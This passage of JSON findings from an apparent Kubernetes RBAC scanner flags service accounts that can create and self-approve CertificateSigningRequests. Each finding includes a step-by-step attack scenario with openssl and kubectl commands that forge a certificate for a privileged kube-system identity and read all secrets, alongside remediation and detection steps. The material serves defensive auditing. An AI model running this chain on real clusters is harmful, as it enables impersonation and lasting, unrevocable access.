        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/foothold-exec/foothold-decoy-sa::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/foothold-exec/foothold-decoy-sa` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/foothold-exec/foothold-decoy-sa can both `create` `certificatesigningrequests` (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `foothold-decoy-admin` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=foothold-decoy-sa -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=foothold-decoy-sa -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:foothold-exec:foothold-decoy-sa | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "foothold-decoy-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/foothold-exec/foothold-decoy-sa. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=foothold-decoy-sa -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/rbac-fixtures/sa-cluster-admin::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/rbac-fixtures/sa-cluster-admin` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can both `create` `certificatesigningrequests` (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `crb-cluster-admin` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=sa-cluster-admin -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=sa-cluster-admin -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-cluster-admin | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-cluster-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/rbac-fixtures/sa-cluster-admin. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=sa-cluster-admin -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/rbac-fixtures/sa-wildcard::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/rbac-fixtures/sa-wildcard` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-wildcard can both `create` `certificatesigningrequests` (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `crb-wildcard` → ClusterRole `cr-wildcard`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-wildcard",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=sa-wildcard -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=sa-wildcard -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-wildcard | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "crb-wildcard",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-wildcard",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/rbac-fixtures/sa-wildcard. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=sa-wildcard -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-012:ServiceAccount/rbac-fixtures/sa-nodes-proxy::nodes/proxy",
    "rule_id": "KUBE-PRIVESC-012",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "`get nodes/proxy` enables kubelet exec via API server (`ServiceAccount/rbac-fixtures/sa-nodes-proxy`)",
